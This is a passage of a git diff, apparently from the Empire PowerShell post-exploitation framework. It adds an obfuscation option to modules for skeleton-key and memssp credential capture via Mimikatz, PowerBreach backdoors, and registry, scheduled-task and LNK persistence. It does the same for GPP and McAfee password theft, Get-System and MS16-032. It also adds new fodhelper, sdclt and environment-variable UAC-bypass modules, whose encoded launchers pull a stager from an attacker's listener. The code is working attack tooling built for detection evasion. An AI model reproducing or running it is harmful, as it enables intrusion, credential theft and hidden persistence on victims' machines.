account password change disabled.'" + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/persistence/misc/get_ssps.py b/lib/modules/powershell/persistence/misc/get_ssps.py index 450c1bab9..88a9c2c22 100644 --- a/lib/modules/powershell/persistence/misc/get_ssps.py +++ b/lib/modules/powershell/persistence/misc/get_ssps.py @@ -50,7 +50,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Get-SecurityPackages @@ -190,5 +190,6 @@ def generate(self): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/misc/install_ssp.py b/lib/modules/powershell/persistence/misc/install_ssp.py index 3e38325db..d8f7df84c 100644 --- a/lib/modules/powershell/persistence/misc/install_ssp.py +++ b/lib/modules/powershell/persistence/misc/install_ssp.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Install-SSP @@ -263,5 +263,6 @@ def generate(self): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/misc/memssp.py b/lib/modules/powershell/persistence/misc/memssp.py index a1429dc43..42d4e3a1b 100644 --- a/lib/modules/powershell/persistence/misc/memssp.py +++ b/lib/modules/powershell/persistence/misc/memssp.py @@ -53,11 +53,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -73,8 +75,10 @@ def generate(self): command = "misc::memssp" # base64 encode the command to pass to Invoke-Mimikatz - script += "Invoke-Mimikatz -Command '\"" + command + "\"';" - - script += '"memssp installed, check C:\Windows\System32\mimisla.log for logon events."' + scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';" + scriptEnd += '"memssp installed, check C:\Windows\System32\mimisla.log for logon events."' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/persistence/misc/skeleton_key.py b/lib/modules/powershell/persistence/misc/skeleton_key.py index 4ab88a693..36c3a52eb 100644 --- a/lib/modules/powershell/persistence/misc/skeleton_key.py +++ b/lib/modules/powershell/persistence/misc/skeleton_key.py @@ -53,11 +53,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -73,8 +75,10 @@ def generate(self): command = "misc::skeleton" # base64 encode the command to pass to Invoke-Mimikatz - script += "Invoke-Mimikatz -Command '\"" + command + "\"';" - - script += '"Skeleton key implanted. Use password \'mimikatz\' for access."' + scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';" + scriptEnd += '"Skeleton key implanted. Use password \'mimikatz\' for access."' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/persistence/powerbreach/deaduser.py b/lib/modules/powershell/persistence/powerbreach/deaduser.py index c14a6ebbd..2072b6f67 100644 --- a/lib/modules/powershell/persistence/powerbreach/deaduser.py +++ b/lib/modules/powershell/persistence/powerbreach/deaduser.py @@ -81,7 +81,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-DeadUserBackdoor @@ -184,6 +184,8 @@ def generate(self): print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) @@ -192,5 +194,7 @@ def generate(self): # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-DeadUserBackdoor started'" % (parts[0], " ".join(parts[1:])) + if obfuscate: + scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) return scriptLauncher diff --git a/lib/modules/powershell/persistence/powerbreach/eventlog.py b/lib/modules/powershell/persistence/powerbreach/eventlog.py index fa6a05a87..ee56f7f9d 100644 --- a/lib/modules/powershell/persistence/powerbreach/eventlog.py +++ b/lib/modules/powershell/persistence/powerbreach/eventlog.py @@ -76,7 +76,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-EventLogBackdoor @@ -158,6 +158,8 @@ def generate(self): print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) @@ -166,6 +168,8 @@ def generate(self): # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:])) + if obfuscate: + scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) print scriptLauncher diff --git a/lib/modules/powershell/persistence/powerbreach/resolver.py b/lib/modules/powershell/persistence/powerbreach/resolver.py index 375f322fa..5ca876974 100644 --- a/lib/modules/powershell/persistence/powerbreach/resolver.py +++ b/lib/modules/powershell/persistence/powerbreach/resolver.py @@ -81,7 +81,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-ResolverBackdoor @@ -170,7 +170,9 @@ def generate(self): print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" - + + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) @@ -179,5 +181,6 @@ def generate(self): # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:])) - + if obfuscate: + scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) return scriptLauncher diff --git a/lib/modules/powershell/persistence/userland/backdoor_lnk.py b/lib/modules/powershell/persistence/userland/backdoor_lnk.py index 099d0ba42..87e800947 100644 --- a/lib/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/lib/modules/powershell/persistence/userland/backdoor_lnk.py @@ -93,7 +93,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -125,7 +125,9 @@ def generate(self): # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -135,13 +137,13 @@ def generate(self): script = f.read() f.close() - script += "Invoke-BackdoorLNK " + scriptEnd = "Invoke-BackdoorLNK " if cleanup.lower() == "true": - script += " -CleanUp" - script += " -LNKPath '%s'" %(lnkPath) - script += " -RegPath '%s'" %(regPath) - script += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" %(lnkPath,regPath) + scriptEnd += " -CleanUp" + scriptEnd += " -LNKPath '%s'" %(lnkPath) + scriptEnd += " -RegPath '%s'" %(regPath) + scriptEnd += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" %(lnkPath,regPath) else: if extFile != '': @@ -174,8 +176,10 @@ def generate(self): encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName - script += " -LNKPath '%s'" %(lnkPath) - script += " -EncScript '%s'" %(encScript) - script += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" %(lnkPath,listenerName) - + scriptEnd += " -LNKPath '%s'" %(lnkPath) + scriptEnd += " -EncScript '%s'" %(encScript) + scriptEnd += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" %(lnkPath,listenerName) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/persistence/userland/registry.py b/lib/modules/powershell/persistence/userland/registry.py index 7ef3ee7c1..651a00818 100644 --- a/lib/modules/powershell/persistence/userland/registry.py +++ b/lib/modules/powershell/persistence/userland/registry.py @@ -102,7 +102,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -148,7 +148,8 @@ def generate(self): script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";" script += "'Registry Persistence removed.'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': @@ -234,5 +235,6 @@ def generate(self): script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/userland/schtasks.py b/lib/modules/powershell/persistence/userland/schtasks.py index 35d059b3b..2abed9ee2 100644 --- a/lib/modules/powershell/persistence/userland/schtasks.py +++ b/lib/modules/powershell/persistence/userland/schtasks.py @@ -106,7 +106,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -154,7 +154,8 @@ def generate(self): script += "schtasks /Delete /F /TN "+taskName+";" script += "'Schtasks persistence removed.'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': @@ -232,5 +233,6 @@ def generate(self): statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "." script += "'Schtasks persistence established "+statusMsg+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/privesc/ask.py b/lib/modules/powershell/privesc/ask.py index cebe3dc21..a1bb8654f 100644 --- a/lib/modules/powershell/privesc/ask.py +++ b/lib/modules/powershell/privesc/ask.py @@ -73,7 +73,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -112,5 +112,6 @@ def generate(self): "[!] User is not a local administrator!" } ''' %(encLauncher) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/privesc/bypassuac.py b/lib/modules/powershell/privesc/bypassuac.py index 05e8c1a5f..f24cea20d 100644 --- a/lib/modules/powershell/privesc/bypassuac.py +++ b/lib/modules/powershell/privesc/bypassuac.py @@ -76,7 +76,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -87,7 +87,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-BypassUAC.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -111,5 +113,8 @@ def generate(self): print helpers.color("[!] Error in launcher generation.") return "" else: - script += "Invoke-BypassUAC -Command \"%s\"" % (launcher) + scriptEnd = "Invoke-BypassUAC -Command \"%s\"" % (launcher) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/bypassuac_env.py b/lib/modules/powershell/privesc/bypassuac_env.py new file mode 100644 index 000000000..c7528579e --- /dev/null +++ b/lib/modules/powershell/privesc/bypassuac_env.py @@ -0,0 +1,111 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-EnvBypass', + + 'Author': ['Petr Medonos'], + + 'Description': ("Bypasses UAC (even with Always Notify level set) by by performing an registry modification" + " of the \"windir\" value in \"Environment\" based on James Forshaw findings" + "(https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html)"), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html', + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listenerName = self.options['Listener']['Value'] + + # staging options + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-EnvBypass.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + encScript = launcher.split(" ")[-1] + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + script += "Invoke-EnvBypass -Command \"%s\"" % (encScript) + return script diff --git a/lib/modules/powershell/privesc/bypassuac_eventvwr.py b/lib/modules/powershell/privesc/bypassuac_eventvwr.py index fe8c4fda8..fcbbb102b 100644 --- a/lib/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/lib/modules/powershell/privesc/bypassuac_eventvwr.py @@ -71,7 +71,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -82,7 +82,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-EventVwrBypass.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -106,5 +108,8 @@ def generate(self): print helpers.color("[!] Error in launcher generation.") return "" else: - script += "Invoke-EventVwrBypass -Command \"%s\"" % (encScript) + scriptEnd = "Invoke-EventVwrBypass -Command \"%s\"" % (encScript) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/bypassuac_fodhelper.py b/lib/modules/powershell/privesc/bypassuac_fodhelper.py new file mode 100644 index 000000000..bfcf7381a --- /dev/null +++ b/lib/modules/powershell/privesc/bypassuac_fodhelper.py @@ -0,0 +1,110 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-FodHelperBypass', + + 'Author': ['Petr Medonos'], + + 'Description': ("Bypasses UAC by performing an registry modification for FodHelper (based on" + "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)"), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listenerName = self.options['Listener']['Value'] + + # staging options + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-FodHelperBypass.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + encScript = launcher.split(" ")[-1] + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + script += "Invoke-FodHelperBypass -Command \"%s\"" % (encScript) + return script diff --git a/lib/modules/powershell/privesc/bypassuac_sdctlbypass.py b/lib/modules/powershell/privesc/bypassuac_sdctlbypass.py new file mode 100644 index 000000000..51a8b086d --- /dev/null +++ b/lib/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -0,0 +1,110 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-SDCLTBypass', + + 'Author': ['Petr Medonos'], + + 'Description': ("Bypasses UAC by performing an registry modification for sdclt (based on" + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/)"), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/', + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listenerName = self.options['Listener']['Value'] + + # staging options + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-SDCLTBypass.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + encScript = launcher.split(" ")[-1] + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + script += "Invoke-SDCLTBypass -Command \"%s\"" % (encScript) + return script diff --git a/lib/modules/powershell/privesc/bypassuac_wscript.py b/lib/modules/powershell/privesc/bypassuac_wscript.py index d4a2db3bf..122d68192 100644 --- a/lib/modules/powershell/privesc/bypassuac_wscript.py +++ b/lib/modules/powershell/privesc/bypassuac_wscript.py @@ -73,7 +73,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -84,7 +84,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -108,5 +110,8 @@ def generate(self): print helpers.color("[!] Error in launcher generation.") return "" else: - script += "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher) + scriptEnd = "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/getsystem.py b/lib/modules/powershell/privesc/getsystem.py index 85b9c7d43..c34f848b2 100644 --- a/lib/modules/powershell/privesc/getsystem.py +++ b/lib/modules/powershell/privesc/getsystem.py @@ -78,11 +78,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-System.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -94,23 +96,25 @@ def generate(self): script = moduleCode - script += "Get-System " + scriptEnd = "Get-System " if self.options['RevToSelf']['Value'].lower() == "true": - script += " -RevToSelf" + scriptEnd += " -RevToSelf" elif self.options['WhoAmI']['Value'].lower() == "true": - script += " -WhoAmI" + scriptEnd += " -WhoAmI" else: for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += "| Out-String | %{$_ + \"`n\"};" - script += "'Get-System completed'" + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "'Get-System completed'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/gpp.py b/lib/modules/powershell/privesc/gpp.py index 1f0fa7f05..8cdf96a60 100644 --- a/lib/modules/powershell/privesc/gpp.py +++ b/lib/modules/powershell/privesc/gpp.py @@ -51,11 +51,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-GPPPassword.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -67,17 +69,20 @@ def generate(self): script = moduleCode - script += "Get-GPPPassword " + scriptEnd = "Get-GPPPassword " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += "| Out-String | %{$_ + \"`n\"};" - script += "'Get-GPPPassword completed'" + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "'Get-GPPPassword completed'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/mcafee_sitelist.py b/lib/modules/powershell/privesc/mcafee_sitelist.py index fdab2db0e..33a4a5146 100644 --- a/lib/modules/powershell/privesc/mcafee_sitelist.py +++ b/lib/modules/powershell/privesc/mcafee_sitelist.py @@ -50,11 +50,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-SiteListPassword.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -66,17 +68,20 @@ def generate(self): script = moduleCode - script += "Get-SiteListPassword " + scriptEnd = "Get-SiteListPassword " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += "| Out-String | %{$_ + \"`n\"};" - script += "'Get-SiteListPassword completed'" + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "'Get-SiteListPassword completed'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/ms16-032.py b/lib/modules/powershell/privesc/ms16-032.py index e1f0c1645..bc740b287 100644 --- a/lib/modules/powershell/privesc/ms16-032.py +++ b/lib/modules/powershell/privesc/ms16-032.py @@ -69,9 +69,12 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -95,7 +98,9 @@ def generate(self): # need to escape characters launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'") - script += 'Invoke-MS16032 -Command "' + launcherCode + '"' - script += ';`nInvoke-MS16032 completed.' - + scriptEnd = 'Invoke-MS16032 -Command "' + launcherCode + '"' + scriptEnd += ';`nInvoke-MS16032 completed.' + if obfuscate: + 